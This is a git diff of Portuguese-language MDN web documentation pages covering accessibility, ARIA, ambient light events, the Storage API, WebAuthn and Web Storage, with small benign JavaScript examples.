"A Web é fundamentalmente projetada para trabalhar para todas as pessoas, seja qual for seu hardware, software, idioma, cultura, localização ou habilidade física ou mental. Quando a Web atende esse objetivo, é acessível para pessoas com uma diversidade de audiência, movimento, visão e capacidade cognitiva ." W3C - Acessibilidade (inglês)

+ +
+
+

Key tutorials

+ +

The MDN Accessibility Learning Area contains modern, up-to-date tutorials covering accessibility essentials:

+ +
+
What is accessibility?
+
This article starts off the module with a good look at what accessibility actually is — this includes what groups of people we need to consider and why, what tools different people use to interact with the Web, and how we can make accessibility part of our web development workflow.
+
HTML: A good basis for accessibility
+
A great deal of web content can be made accessible just by making sure the correct HTML elements are used for the correct purpose at all times. This article looks in detail at how HTML can be used to ensure maximum accessibility.
+
CSS and JavaScript accessibility best practices
+
CSS and JavaScript, when used properly, also have the potential to allow for accessible web experiences ... or they can significantly harm accessibility if misused. This article outlines some CSS and JavaScript best practices that should be considered to ensure even complex content is as accessible as possible.
+
WAI-ARIA basics
+
Following on from the previous article, sometimes making complex UI controls that involve unsemantic HTML and dynamic JavaScript-updated content can be difficult. WAI-ARIA is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on. Here we'll show how to use it at a basic level to improve accessibility.
+
Accessible multimedia
+
Another category of content that can create accessibility problems is multimedia — video, audio, and image content need to be given proper textual alternatives so they can be understood by assistive technologies and their users. This article shows how.
+
Mobile accessibility
+
With web access on mobile devices being so popular, and popular platforms such as iOS and Android having fully-fledged accessibility tools, it is important to consider the accessibility of your web content on these platforms. This article looks at mobile-specific accessibility considerations.
+
+
+ +
+

Other documentation

+ +
+
Understanding the Web Content Accessibility Guidelines
+
+

This set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the W3C Web Content Accessibility Guidelines 2.0 (WCAG 2.0 or just WCAG, for the purposes of this writing).

+
+
Keyboard-navigable JavaScript widgets
+
Until now, web developers who want to make their styled <div> and <span> based widgets have lacked the proper techniques. Keyboard accessibility is part of the minimum accessibility requirements which a developer should be aware of.
+
ARIA
+
A collection of articles to learn how to use ARIA to make your HTML documents more accessible.
+
Assistive technology (AT) development
+
A collection of articles intended for AT developers
+
Mobile accessibility checklist
+
This document provides a concise checklist of accessibility requirements for mobile app developers.
+
Cognitive accessibility
+
When creating web content, be aware of how you can ensure that it is accessible to people cognitive impairments.
+
Accessibility for seizure disorders
+
Some types of visual web content can induce seizures in people with certain brain disorders. Understand the types of content that can be problematic, and find tools and strategies to help you avoid them.
+
+
+ +

View all articles about Accessibility...

+
+ +

See also

+ + +
diff --git a/files/pt-pt/web/acessibilidade/aria/index.html b/files/pt-pt/web/acessibilidade/aria/index.html deleted file mode 100644 index d49bc53276..0000000000 --- a/files/pt-pt/web/acessibilidade/aria/index.html +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: ARIA -slug: Web/Acessibilidade/ARIA -tags: - - ARIA - - Acessibilidade - - Web -translation_of: Web/Accessibility/ARIA ---- -

Accessible Rich Internet Applications (ARIA) define as maneiras para tornar o conteúdo da Web e aplicações da Web (especialmente aqueles desenvolvidos com Ajax e JavaScript) mais acessíveis para as pessoas com deficiência. Por exemplo, ARIA permite marcos de navegação acessíveis, widgets de JavaScript, dicas de formulário e mensagens de erro, atualizações de conteúdo live e muito mais.

- -

ARIA é um conjunto de atributos de acessibilidade especiais que podem ser adicionados a qualquer marcação, mas é especialmente adequado para HTML. . O atributo role define que tipo geral de objeto é (tais como um artigo, alerta, ou cursor). Os atributos ARIA adicionais fornecem outras propriedades úteis, tais como uma descrição para um formulário ou o valor atual de uma barra de progresso.

- -

ARIA é implementado na maioria dos navegadores populares e leitores de ecrã. No entanto, as implementações variam e as tecnologias mais antigas não o suportam bem (se for o caso). Utilize ARIA 'seguro' que se degrada graciosamente, ou peça aos utilizadores que atualizem para a nova tecnologia.

- -
-

Nota: por favor, contribua e melhore ARIA para a próxima pessoa! Não tem tempo? Envie as sugestões para a lista de endereços de acessibilidade da Mozilla, ou canal IRC #accessibility.

-
- -
-
-

Iniciação com ARIA

- -
-
Introduction to ARIA
-
A quick introduction to making dynamic content accessible with ARIA. See also the classic ARIA intro by Gez Lemon, from 2008.
-
Web Applications and ARIA FAQ
-
Answers common questions about WAI-ARIA and why it's needed to make web applications accessible.
-
Videos of Screen Readers Using ARIA
-
See both real and simplified examples from around the web, including "before" and "after" ARIA videos.
-
Using ARIA
-
A practical guide for developers. It suggests what ARIA attributes to use on HTML elements. Suggestions are based on implementation realities.
-
- -

Melhoramentos ARIA Simples

- -
-
Enhancing Page Navigation with ARIA Landmarks
-
A nice intro to using ARIA landmarks to improve web page navigation for screen reader users. See also, ARIA landmark implementation notes and examples on real sites (updated as of July 2011).
-
Improving Form Accessibility
-
ARIA is not just for dynamic content! Learn how to improve accessibility of HTML forms using additional ARIA attributes.
-
Live regions (work-in-progress)
-
Live regions provide suggestions to screen readers about how to handle changes to the contents of a page.
-
Using ARIA Live Regions to Announce Content Changes
-
A quick summary of live regions, by the makers of JAWS screen reader software. Live regions are also supported by NVDA with Firefox, and VoiceOver with Safari.
-
- -

ARIA para Widgets Scripted

- -
-
Keyboard Navigation and Focus for JavaScript Widgets
-
The first step in developing an accessible JavaScript widget is to make it keyboard navigable. This article steps through the process. The Yahoo! focus management article is a great resource as well.
-
Style Guide for Keyboard Navigation
-
A challenge with ARIA is getting developers to implement consistent behavior — clearly best for users. This style guide describes the keyboard interface for common widgets.
-
- -

ARIA - Recursos

- -
-
Need a slider, a menu, or another kind of widget? Find resources here.
-
ARIA-Enabled JavaScript UI Libraries
-
If you're starting a new project, choose a UI widget library with ARIA support already built-in. Warning: this is from 2009 — content should be moved to an MDN page where it can be updated.
-
-
- -
-

Lista de Endereços

- -
-
Free ARIA Google Group
-
A place to ask questions about ARIA, as well as make suggestions for improving the ARIA documentation found on these pages.
-
- -

Blogues

- -

ARIA information on blogs tends to get out of date quickly. Still, there is some great info out there from other developers making ARIA work today.

- -

Paciello Group

- -

Accessible Culture

- -

Comunicar Erros (Bugs)

- -

File ARIA bugs on browsers, screen readers, and JavaScript libraries.

- -

Exemplos

- -
-
ARIA Examples Library
-
A set of barebones example files which are easy to learn from.
-
Accessible JS Widget Library Demos
-
jQuery, YUI
-
Yahoo! Mail
-
Yahoo! puts it all together with Yahoo! Mail, a web app that almost looks like a native app. It works very well. As a review of Yahoo! Mail by screen reader Marco Zehe says, "Keep up the good work!".
-
Yahoo! Search
-
Yahoo! has done an amazing job of advancing ARIA here, by exercising ARIA's full capabilities and sharing their techniques. Yahoo! Search uses a combination of ARIA landmarks, live regions, and widgets.
-
- -

Esforços de  Uniformização

- -
-
WAI-ARIA Activities Overview at W3C
-
Authoritative Overview of WAI-ARIA Standardization efforts by the Web Accessibility Initiative (WAI)
-
WAI-ARIA Specification
-
The W3C specification itself, useful as a reference. Note that, at this stage, it is important to test compatibility, as implementations are still inconsistent.
-
WAI-ARIA Authoring Practices
-
-

Like the W3C WAI-ARIA specification, the official best practices represents a future ideal — a day when authors can rely on consistent ARIA support across browsers and screen readers. The W3C documents provide an in-depth view of ARIA.

- -

For now, web developers implementing ARIA should maximize compatibility. Use best practices docs and examples based on current implementations.

-
-
Open AJAX Accessibility Task Force
-
The Open AJAX effort centers around developing tools, sample files, and automated tests for ARIA.
-
Under Construction: WCAG 2.0 ARIA Techniques
-
The community needs a complete set of WCAG techniques for WAI-ARIA + HTML, so that organizations can be comfortable claiming their ARIA-enabled content is WCAG compliant. This is important when regulations or policies are based on WCAG.
-
-
-
- - - -

Acessibilidade, AJAX, JavaScript

diff --git a/files/pt-pt/web/acessibilidade/index.html b/files/pt-pt/web/acessibilidade/index.html deleted file mode 100644 index 0bf23a4fc9..0000000000 --- a/files/pt-pt/web/acessibilidade/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Acessibilidade -slug: Web/Acessibilidade -tags: - - Acessibilidade -translation_of: Web/Accessibility ---- -

A acessibilidade no desenvolvimento da Web significa habilitar o maior número possível de pessoas para usar sites da Web, mesmo quando as habilidades dessas pessoas são limitadas de alguma forma. Aqui, fornecemos informações sobre o desenvolvimento de conteúdo para serem acessíveis.

- -

" A acessibilidade é mais usada para descrever instalações ou amenidades para ajudar as pessoas com deficiência, como em 'acessível para cadeiras de rodas'. Isso pode se estender a sinalização de Braille, rampas para cadeiras de rodas, sinais de áudio em passagens para pedestres, contornos de passarelas, design de sites, e assim por diante ." Entrada da Wikipédia para 'Acessibilidade'

- -

"A Web é fundamentalmente projetada para trabalhar para todas as pessoas, seja qual for seu hardware, software, idioma, cultura, localização ou habilidade física ou mental. Quando a Web atende esse objetivo, é acessível para pessoas com uma diversidade de audiência, movimento, visão e capacidade cognitiva ." W3C - Acessibilidade (inglês)

- -
-
-

Key tutorials

- -

The MDN Accessibility Learning Area contains modern, up-to-date tutorials covering accessibility essentials:

- -
-
What is accessibility?
-
This article starts off the module with a good look at what accessibility actually is — this includes what groups of people we need to consider and why, what tools different people use to interact with the Web, and how we can make accessibility part of our web development workflow.
-
HTML: A good basis for accessibility
-
A great deal of web content can be made accessible just by making sure the correct HTML elements are used for the correct purpose at all times. This article looks in detail at how HTML can be used to ensure maximum accessibility.
-
CSS and JavaScript accessibility best practices
-
CSS and JavaScript, when used properly, also have the potential to allow for accessible web experiences ... or they can significantly harm accessibility if misused. This article outlines some CSS and JavaScript best practices that should be considered to ensure even complex content is as accessible as possible.
-
WAI-ARIA basics
-
Following on from the previous article, sometimes making complex UI controls that involve unsemantic HTML and dynamic JavaScript-updated content can be difficult. WAI-ARIA is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on. Here we'll show how to use it at a basic level to improve accessibility.
-
Accessible multimedia
-
Another category of content that can create accessibility problems is multimedia — video, audio, and image content need to be given proper textual alternatives so they can be understood by assistive technologies and their users. This article shows how.
-
Mobile accessibility
-
With web access on mobile devices being so popular, and popular platforms such as iOS and Android having fully-fledged accessibility tools, it is important to consider the accessibility of your web content on these platforms. This article looks at mobile-specific accessibility considerations.
-
-
- -
-

Other documentation

- -
-
Understanding the Web Content Accessibility Guidelines
-
-

This set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the W3C Web Content Accessibility Guidelines 2.0 (WCAG 2.0 or just WCAG, for the purposes of this writing).

-
-
Keyboard-navigable JavaScript widgets
-
Until now, web developers who want to make their styled <div> and <span> based widgets have lacked the proper techniques. Keyboard accessibility is part of the minimum accessibility requirements which a developer should be aware of.
-
ARIA
-
A collection of articles to learn how to use ARIA to make your HTML documents more accessible.
-
Assistive technology (AT) development
-
A collection of articles intended for AT developers
-
Mobile accessibility checklist
-
This document provides a concise checklist of accessibility requirements for mobile app developers.
-
Cognitive accessibility
-
When creating web content, be aware of how you can ensure that it is accessible to people cognitive impairments.
-
Accessibility for seizure disorders
-
Some types of visual web content can induce seizures in people with certain brain disorders. Understand the types of content that can be problematic, and find tools and strategies to help you avoid them.
-
-
- -

View all articles about Accessibility...

-
- -

See also

- - -
diff --git a/files/pt-pt/web/api/ambient_light_events/index.html b/files/pt-pt/web/api/ambient_light_events/index.html new file mode 100644 index 0000000000..32b15a8ea1 --- /dev/null +++ b/files/pt-pt/web/api/ambient_light_events/index.html @@ -0,0 +1,70 @@ +--- +title: Eventos de Luz Ambiente +slug: Web/API/Eventos_de_Luz_Ambiente +tags: + - Luz Ambiente +translation_of: Web/API/Ambient_Light_Events +--- +
{{DefaultAPISidebar("Ambient Light Events")}}{{SeeCompatTable}}
+ +

Os eventos de luz ambiente são uma maneira prática de tornar uma página da Web ou um aplicação ciente de qualquer alteração na intensidade da luz. Isto permite-lhes reagir a essa alteração, por exemplo, alterando o contraste da cor da interface do utilizador (IU) ou alterando a exposição necessária para tirar uma fotografia.

+ +

Eventos de Luz

+ +

When the light sensor of a device detects a change in the light level, it notifies the browser of that change. When the browser gets such a notification, it fires a {{domxref("DeviceLightEvent")}} event that provides information about the exact light intensity.

+ +

This event can be captured at the window object level by using the {{domxref("EventTarget.addEventListener","addEventListener")}} method (using the {{event("devicelight")}} event name) or by attaching an event handler to the {{domxref("window.ondevicelight")}} property.

+ +

Once captured, the event object gives access to the light intensity expressed in lux through the {{domxref("DeviceLightEvent.value")}} property.

+ +

Exemplo

+ +
if ('ondevicelight' in window) {
+  window.addEventListener('devicelight', function(event) {
+    var body = document.querySelector('body');
+    if (event.value < 50) {
+      body.classList.add('darklight');
+      body.classList.remove('brightlight');
+    } else {
+      body.classList.add('brightlight');
+      body.classList.remove('darklight');
+    }
+  });
+} else {
+  console.log('devicelight event not supported');
+}
+
+ +

Especificações

+ + + + + + + + + + + + + + + + +
EspecificaçãoEstadoComentário
{{SpecName("AmbientLight", "", "Ambient Light Events")}}{{Spec2("AmbientLight")}}Initial definition
+ +

Compatibilidade de navegador

+ + + +

{{Compat("api.DeviceLightEvent")}}

+ +

 

+ +

Consultar também

+ + diff --git a/files/pt-pt/web/api/api_armazenamento/index.html b/files/pt-pt/web/api/api_armazenamento/index.html deleted file mode 100644 index 434cee963d..0000000000 --- a/files/pt-pt/web/api/api_armazenamento/index.html +++ /dev/null @@ -1,128 +0,0 @@ ---- -title: API de armazenamento -slug: Web/API/API_armazenamento -tags: - - API - - API de armazenamento - - Armazenamento - - Contextod e segurança - - Quotas - - Referencia - - Resumo - - Sinopse - - Utilização -translation_of: Web/API/Storage_API ---- -

{{securecontext_header}}{{DefaultAPISidebar("Storage")}}

- -

The Storage Standard defines a common, shared storage system to be used by all APIs and technologies that store content-accessible data for individual Web sites. The Storage API gives sites' code the ability to find out how much space they can use, how much they are already using, and even control whether or not they need to be alerted before the {{Glossary("user agent")}} disposes of site data in order to make room for other things.

- -

{{AvailableInWorkers}}

- -

Site storage—the data stored for a Web site which is managed by the Storage Standard—includes:

- - - -

Unidades de armazenamento de site

- -

The site storage system described by the Storage Standard and interacted with using the Storage API consists of a single site storage unit for each {{Glossary("origin")}}. In essence, every Web site or Web application has its own storage unit into which its data gets placed. The diagram below shows a site storage pool with three storage units within, showing how storage units can have different data types stored within and may have different quotas (maximum storage limits).

- -

A diagram showing how the site storage pool consists of multiple storage units that contain data from various APIs as well as possible unused space left before the quota is reached.

- - - -

{{Glossary("User agent", "User agents")}} are likely to use various techniques to determine the quota for various origins. One of the most likely methods—one which the specification specifically encourages, in fact—would be to consider the popularity and/or usage levels of individual sites to determine what their quotas should be.  It's also conceivable that the browser might offer a user interface to customize these quotas.

- -

Modos de caixa (Box)

- -

The actual data storage within each site storage unit is called its box. Each site storage unit has exactly one box into which all of its data is placed, and has a box mode that describes the data retention policy for that box. There are two modes:

- -
-
"best-effort"
-
The user agent will try to retain the data contained in the box for as long as it can, but will not warn users if storage space runs low and it becomes necessary to clear the box in order to relieve the storage pressure.
-
"persistent"
-
The user agent will retain the data as long as possible, clearing all "best-effort" boxes before considering clearing a box marked "persistent". If it becomes necessary to consider clearing persistent boxes, the user agent will notify the user and provide a way to clear one or more persistent boxes as needed.
-
- -

To change an origin's box mode requires permission to use the "persistent-storage" feature.

- -

Persistência de dados e limpeza

- -

If the site or app has the "persistent-storage" feature permission, it can use the {{domxref("StorageManager.persist()")}} method to request that its box be made persistent. It's also possible for the user agent to decide to make the site's storage unit persistent due to usage characteristics or other metrics. The "persistent-storage" feature's permission-related flags, algorithms, and types are all set to the standard defaults for a permission, except that the permission state must be the same across the entire origin, and that if the permission state isn't "granted" (meaning that for whatever reason, access to the persistent storage feature was denied), the origin's site storage unit's box mode is always "best-effort".

- -
-

Nota: Consulte Using the Permissions API para mais detalhes sobre como obter e gerir as permissões.

-
- -

When clearing site storage units, an origin's box is treated as a single entity; if the user agent needs to clear it and the user approves, the entire data store is cleared rather than providing some means of clearing only data from individual APIs.

- -

If a box is marked as "persistent", the contents won't be cleared by the user agent without either the data's origin itself or the user specifically doing so. This includes scenarios such as the user selecting a "Clear Caches" or "Clear Recent History" option. The user will be asked specifically for permission to remove persistent site storage units.

- -

Quotas e estimativas de utilização

- -

The user agent determines, using whatever mechanism it chooses, the maximum amount of storage a given site can use. This maximum is the origin's quota. The amount of this space which is in use by the site is called its usage. Both of these values are estimates; there are several reasons why they're not precise:

- - - -

User agents may use any method they choose to determine the size of origins' quotas, and are encouraged by the specification to provide popular or frequently-used sites with extra space.

- -

To determine the estimated quota and usage values for a given origin, use the {{domxref("StorageManager.estimate", "navigator.storage.estimate()")}} method, which returns a promise that, when resolved, receives a {{domxref("StorageEstimate")}} that contains these figures. For example:

- -
navigator.storage.estimate().then(estimate => {
-  // estimate.quota is the estimated quota
-  // estimate.usage is the estimated number of bytes used
-});
- -

Especificações

- - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('Storage')}}{{Spec2('Storage')}}Definição inicial.
- -

Compatibilidade de navegador

- -
-

StorageManager

- -
- - -

{{Compat("api.StorageManager")}}

-
-
- -

Consultar também

- - diff --git a/files/pt-pt/web/api/api_autenticacao_web/index.html b/files/pt-pt/web/api/api_autenticacao_web/index.html deleted file mode 100644 index ecc97dd5c0..0000000000 --- a/files/pt-pt/web/api/api_autenticacao_web/index.html +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: APi de Autenticação da Web -slug: Web/API/API_Autenticacao_Web -tags: - - API - - API de Autenticação da Web - - Landing - - Referencia -translation_of: Web/API/Web_Authentication_API ---- -
{{draft}}{{SeeCompatTable}}{{securecontext_header}}{{DefaultAPISidebar("Web Authentication API")}}
- -

A "API de Autenticação da Web" é uma extensão de Credential Management API que permite uma autenticação forte com a criptografia de chave pública, permitindo a autenticação sem palavra-passe e/ou autenticação de segundo fator segura sem textos de SMS.

- -

Conceitos e utilização da autenticação da Web

- -

The Web Authtentication API (also referred to as WebAuthn) uses asymmetric (public-key) cryptography instead of passwords or SMS texts for registering, authenticating, and second-factor authentication with websites. This resolves significant security problems related to phishing, data breaches, and attacks against SMS texts or other second-factor authentication methods while at the same time significantly increasing ease of use (since users don't have to manage dozens of increasingly complicated passwords).

- -

Many websites already have pages that allow users to register new accounts or sign in to an existing account, and WebAuthn acts as a replacement or suppliment to those on those existing webpages. Similar to the other forms of the Credential Management API, the Web Authentication API has two basic methods that correspond to register and login:

- - - -

Por favor, note: both create() and get() require a Secure Context (e.g. - the server is connected by https or is the localhost), and will not be available for use if the browser is not operating in a secure context.

- -

In their most basic forms, both create() and get() receive a very large random number called a challenge from the server and they return the challenge signed by the private key back to the server. This proves to the server that a user is in possession of the private key required for authentication without revealing any secrets over the network.

- -

In order to understand how the create() and get() methods fit into the bigger picture, it is important to understand that they sit between two components that are outside the browser:

- -
    -
  1. Servidor - the WebAuthn API is intended to register new credentials on a server (also referred to as a service or a relying party) and later use those same credentials on that same server to authenticate a user.
  2. -
  3. Autenticador - the credentials are created and stored in a device called an authenticator. This is a new concept in authentication: when authenticating using passwords, the password is stored in a user's brain and no other device is needed; when authenticating using WebAuthn, the password is replaced with a key pair that is stored in an authenticator. The authenticator may be embedded into an operating system, such as Windows Hello, or may be a physical token, such as a USB or Bluetooth Security Key.
  4. -
- -

Registo

- -

A typical registration process has six steps, as illustrated in Figure 1 and described further below. This is a simplification of the data required for the registration process that is only intended to provide an overview. The full set of required fields, optional fields, and their meanings for creating a registration request can be found in the {{domxref("PublicKeyCredentialCreationOptions")}} dictionary. Likewise, the full set of response fields can be found in the {{domxref("PublicKeyCredential")}} interface (where {{domxref("PublicKeyCredential.response")}} is the {{domxref("AuthenticatorAttestationResponse")}} interface). Note most JavaScript programmers that are creating an application will only really care about steps 1 and 5 where the create() function is called and subsequently returns; however, steps 2, 3, and 4 are essential to understanding the processing that takes place in the browser and authenticator and what the resulting data means.

- -

WebAuthn registration component and dataflow diagram

- -

Figura 1 - a diagram showing the sequence of actions for a WebAuthn registration and the essential data associated with each action.

- -

Os passos de registo são:

- -
    -
  1. Registo de Pedidos da Aplicação - The application makes the initial registration request. The protocol and format of this request is outside of the scope of WebAuthn.
  2. -
  3. Servidor Envia Desafio, Informação do Utilziador, e Envio de Informação de Confiança - The server sends a challenge, user information, and relying party information to the JavaScript program. The protocol for communicating with the server is not specified and is outside of the scope of WebAuthn. Typically, server communications would be REST over https (probably using XMLHttpRequest or Fetch), but they could also be SOAP, RFC 2549 or nearly any other protocol provided that the protocol is secure. The parameters received from the server will be passed to the create() call, typically with little or no modification and returns a Promise that will resolve to a {{domxref("PublicKeyCredential")}} containing an {{domxref("AuthenticatorAttestationResponse")}}. Note that it is absolutely critical that the challenge be a large buffer of random information (e.g. - more than 100 bytes) and it MUST be generated on the server in order to ensure the security of the registration process.
  4. -
  5. Navegador Chama o authenticatorMakeCredential() no Autenticador - Internally, the browser will validate the parameters and fill in any defaults, which become the {{domxref("AuthenticatorResponse.clientDataJSON")}}. One of the most important parameters is the origin, which recorded as part of the clientData so that the origin can be verified by the server later. The parameters to the create() call are passed to the authenticator, along with a SHA-256 hash of the clientDataJSON (only a hash is sent because the link to the authenticator may be a low-bandwidth NFC or Bluetooth link and the authenticator is just going to sign over the hash to ensure that it isn't tampered with).
  6. -
  7. Autenticador Cria Novo Par de Chave e Certificação - Before doing anything, the authenticator will typically ask for some form of user verficiation. This could be entering a PIN, using a fingerprint, doing an iris scan, etc. to prove that the user is present and consenting of the registration. After the user verification, the authenticator will create a new asymmetric key pair and safely store the private key for future reference. The public key will become part of the attestation, which the authtenticator will sign over with a private key that was burned into the authenticator during its manufacturing process and that has a certificate chain that can be validated back to a root of trust.
  8. -
  9. Autenticador Devolve os Dados para o Navegador - The new public key, a globally unique credential id, and other attestation data are returned to the browser where they become the attestationObject.
  10. -
  11. Navegador Cria os Dados Finais, a Aplicação envia a resposta para o Servidor - The create() Promise resolves to an {{domxref("PublicKeyCredential")}}, which has a {{domxref("PublicKeyCredential.rawId")}} that is the globally unique credential id along with a response that is the {{domxref("AuthenticatorAttestationResponse")}} containing the {{domxref("AuthenticatorResponse.clientDataJSON")}} and {{domxref("AuthenticatorAttestationResponse.attestationObject")}}. The {{domxref("PublicKeyCredential")}} is sent back to the server using any desired formatting and protocol (note that the ArrayBuffer properties need to be be base64 encoded or similar).
  12. -
  13. Servidor Valida e Finaliza o Registo - Finally, the server is required to perform a series of checks to ensure that the registration was complete and not tampered with. These include: -
      -
    1. Verifying that the challenge is the same as the challenge that was sent
    2. -
    3. Ensuring that the origin was the origin expected
    4. -
    5. Validating that the signature over the clientDataHash and the attestation using the certificate chain for that specific model of authenticator
    6. -
    - A complete list of validation steps can be found in the WebAuthn specification. Assuming that the checks pan out, the server will store the new public key associated with the user's account for future use -- that is, whenever the user desires to use the public key for authentication.
  14. -
- -

Autenticação

- -

After a user has registered with WebAuthn, they can subsequently authenticate (a.k.a. - login or sign-in) with the service. The authentication flow looks similar to the registration flow, and the illustration of actions in Figure 2 may be recognizable as being similar to the illustration of registration actions in Figure 1. The primary differences between registration and authentication are that: 1) authentication doesn't require user or relying party information; and 2) authentication creates an assertion using the previously generated key pair for the service rather than creating an attestation with the key pair that was burned into the authenticator during manufacturing. Again, the discription of authentication below is a broad overview rather than getting into all the options and features of WebAuthn. The specific options for authenticating can be found in the {{domxref("PublicKeyCredentialRequestOptions")}} dictionary, and the resulting data can be found in the {{domxref("PublicKeyCredential")}} interface (where {{domxref("PublicKeyCredential.response")}} is the {{domxref("AuthenticatorAssertionResponse")}} interface) .

- -

WebAuthn authentication component and dataflow diagram

- -

Figure 2 - similar to Figure 1, a diagram showing the sequence of actions for a WebAuthn authentication and the essential data associated with each action.

- -
    -
  1. Auyenticação dos Pedidos da Aplicação - The application makes the initial authentication request. The protocol and format of this request is outside of the scope of WebAuthn.
  2. -
  3. Servidor Envia Desafio - The server sends a challenge JavaScript program. The protocol for communicating with the server is not specified and is outside of the scope of WebAuthn. Typically, server communications would be REST over https (probably using XMLHttpRequest or Fetch), but they could also be SOAP, RFC 2549 or nearly any other protocol provided that the protocol is secure. The parameters received from the server will be passed to the get() call, typically with little or no modification. Note that it is absolutely critical that the challenge be a large buffer of random information (e.g. - more than 100 bytes) and it MUST be generated on the server in order to ensure the security of the authentication process.
  4. -
  5. Navegador Chama o authenticatorGetCredential()  no Autenticador - Internally, the browser will validate the parameters and fill in any defaults, which become the {{domxref("AuthenticatorResponse.clientDataJSON")}}. One of the most important parameters is the origin, which recorded as part of the clientData so that the origin can be verified by the server later. The parameters to the create() call are passed to the authenticator, along with a SHA-256 hash of the clientDataJSON (only a hash is sent because the link to the authenticator may be a low-bandwidth NFC or Bluetooth link and the authenticator is just going to sign over the hash to ensure that it isn't tampered with).
  6. -
  7. Autenticador Cria uma Certificação  - The authenticator finds a credential for this service that matches the Relying Party ID and prompts a user to consent to the authentication. Assuming both of those steps are successful, the authenticator will create a new assertion by signing over the clientDataHash and authenticatorData with the private key generated for this account during the registration call.
  8. -
  9. Autenticador Devolve os Dados para o Navegador -  The authenticator returns the authenticatorData and assertion signature back to the browser.
  10. -
  11. Navegador Cria os Dados Finais, a Aplicação envia a resposta para o Servidor - The browser resolves the Promise to a {{domxref("PublicKeyCredential")}} with a {{domxref("PublicKeyCredential.response")}} that contains the {{domxref("AuthenticatorAssertionResponse")}}. It is up to the JavaScript application to transmit this data back to the server using any protocol and format of its choice.
  12. -
  13. Servidor Valida e Finaliza a Autenticação - Upon receiving the result of the authentication request, the server performs validation of the response such as: -
      -
    1. Using the public key that was stored during the registration request to validate the signature by the authenticator.
    2. -
    3. Ensuring that the challenge that was signed by the authenticator matches the challenge that was generated by the server.
    4. -
    5. Checking that the Relying Party ID is the one expected for this service.
    6. -
    - A full list of the steps for validating an assertion can be found in the WebAuthn specification. Assuming the validation is successful, the server will note that the user is now authenticated. This is outside the scope of the WebAuthn specification, but one option would be to drop a new cookie for the user session.
  14. -
- -

Interfaces

- -
-
{{domxref("CredentialsContainer")}}
-
WebAuthn extends the Credential Management API's create() and get() methods to take a new option: publicKey. When the publicKey option is passed to create() and / or get(), the Credential Management API will create a new public key pair or get an authentication for a key pair, respectively.
-
{{domxref("PublicKeyCredential")}}
-
A credential for logging in to a service using an un-phishable and data-breach resistant asymmetric key pair instead of a password.
-
{{domxref("AuthenticatorResponse")}}
-
Part of the PublicKeyCredential, the AuthenticatorResponse includes information from the browser (such as the challenge and origin); as well as information from the authenticator such as an AuthenticatorAttestationResponse (for new credentials) or an AuthenticatorAssertionResponse (when authenticating with existing credentials).
-
{{domxref("AuthenticatorAttestationResponse")}}
-
When a PublicKeyCredential has been created with the create() call, it will include an AuthenticatorAttestationResponse. This is the authenticator's way of providing a cryptographic root of trust for the new key pair that has been generated.
-
{{domxref("AuthenticatorAssertionResponse")}}
-
When a PublicKeyCredential is the result of a get() call, it will include an AuthenticatorAssertionResponse. This is the authenticator's way of proving to a service that it has the key pair and that the authentication request is valid and approved.
-
- -

Opções

- -
-
{{domxref("PublicKeyCredentialCreationOptions")}}
-
The options for creating a credential via navigator.credentials.create()
-
{{domxref("PublicKeyCredentialRequestOptions")}}
-
The options for using a credential via navigator.credentials.get()
-
- -

Exemplos

- - - -

Especificações

- - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('WebAuthn')}}{{Spec2('WebAuthn')}}Definção inicial.
- -

Compatibilidade do Navegador

- -
-
- - -

{{Compat("api.PublicKeyCredential")}}

-
-
- -

Consulte também:

- - diff --git a/files/pt-pt/web/api/api_de_armazenamento_da_web/index.html b/files/pt-pt/web/api/api_de_armazenamento_da_web/index.html deleted file mode 100644 index 192a51ee66..0000000000 --- a/files/pt-pt/web/api/api_de_armazenamento_da_web/index.html +++ /dev/null @@ -1,156 +0,0 @@ ---- -title: API de Armazenamento da Web -slug: Web/API/API_de_Armazenamento_da_Web -tags: - - API - - Armazenamento - - Armazenamento Local - - Armazenamento da Sessão - - Armazenamento da Web - - Referencia -translation_of: Web/API/Web_Storage_API ---- -

{{DefaultAPISidebar("Web Storage API")}}

- -

A API de Armazenamento da Web fornece mecanismos pelos quais os navegadores podem armazenar pares chave/valor, de uma maneira muito mais intuitiva do que utilizar cookies.

- -

Armazenamento da Web - conceitos e utilização

- -

The two mechanisms within Web Storage are as follows:

- - - -

These mechanisms are available via the {{domxref("Window.sessionStorage")}} and {{domxref("Window.localStorage")}} properties (to be more precise, in supporting browsers the Window object implements the WindowLocalStorage and WindowSessionStorage objects, which the localStorage and sessionStorage properties hang off) — invoking one of these will create an instance of the {{domxref("Storage")}} object, through which data items can be set, retrieved and removed. A different Storage object is used for the sessionStorage and localStorage for each origin — they function and are controlled separately.

- -
-

Nota: From Firefox 45 onwards, when the browser crashes/restarts, the amount of data saved per origin is limited to 10MB. This has been done to avoid memory issues caused by excessive usage of web storage.

-
- -
-

Nota: Access to Web Storage from third-party IFrames is denied if the user has disabled third-party cookies (Firefox implements this behaviour from version 43 onwards.)

-
- -
-

Nota: Web Storage is not the same as mozStorage (Mozilla's XPCOM interfaces to SQLite) or the Session store API (an XPCOM storage utility for use by extensions).

-
- -

Armazenamento da Web - Interfaces

- -
-
{{domxref("Storage")}}
-
Allows you to set, retrieve and remove data for a specific domain and storage type (session or local.)
-
{{domxref("Window")}}
-
The Web Storage API extends the {{domxref("Window")}} object with two new properties — {{domxref("Window.sessionStorage")}} and {{domxref("Window.localStorage")}} — which provide access to the current domain's session and local {{domxref("Storage")}} objects respectively, and a {{domxref("Window.onstorage")}} event handler that fires when a storage area changes (e.g. a new item is stored.)
-
{{domxref("StorageEvent")}}
-
The storage event is fired on a document's Window object when a storage area changes.
-
- -

Exemplos

- -

To illustrate some typical web storage usage, we have created a simple example, imaginatively called Web Storage Demo. The landing page provides controls that can be used to customize the colour, font and decorative image. When you choose different options, the page is instantly updated; in addition your choices are stored in localStorage,  so that when you leave the page then load it again later on your choices are remembered.

- -

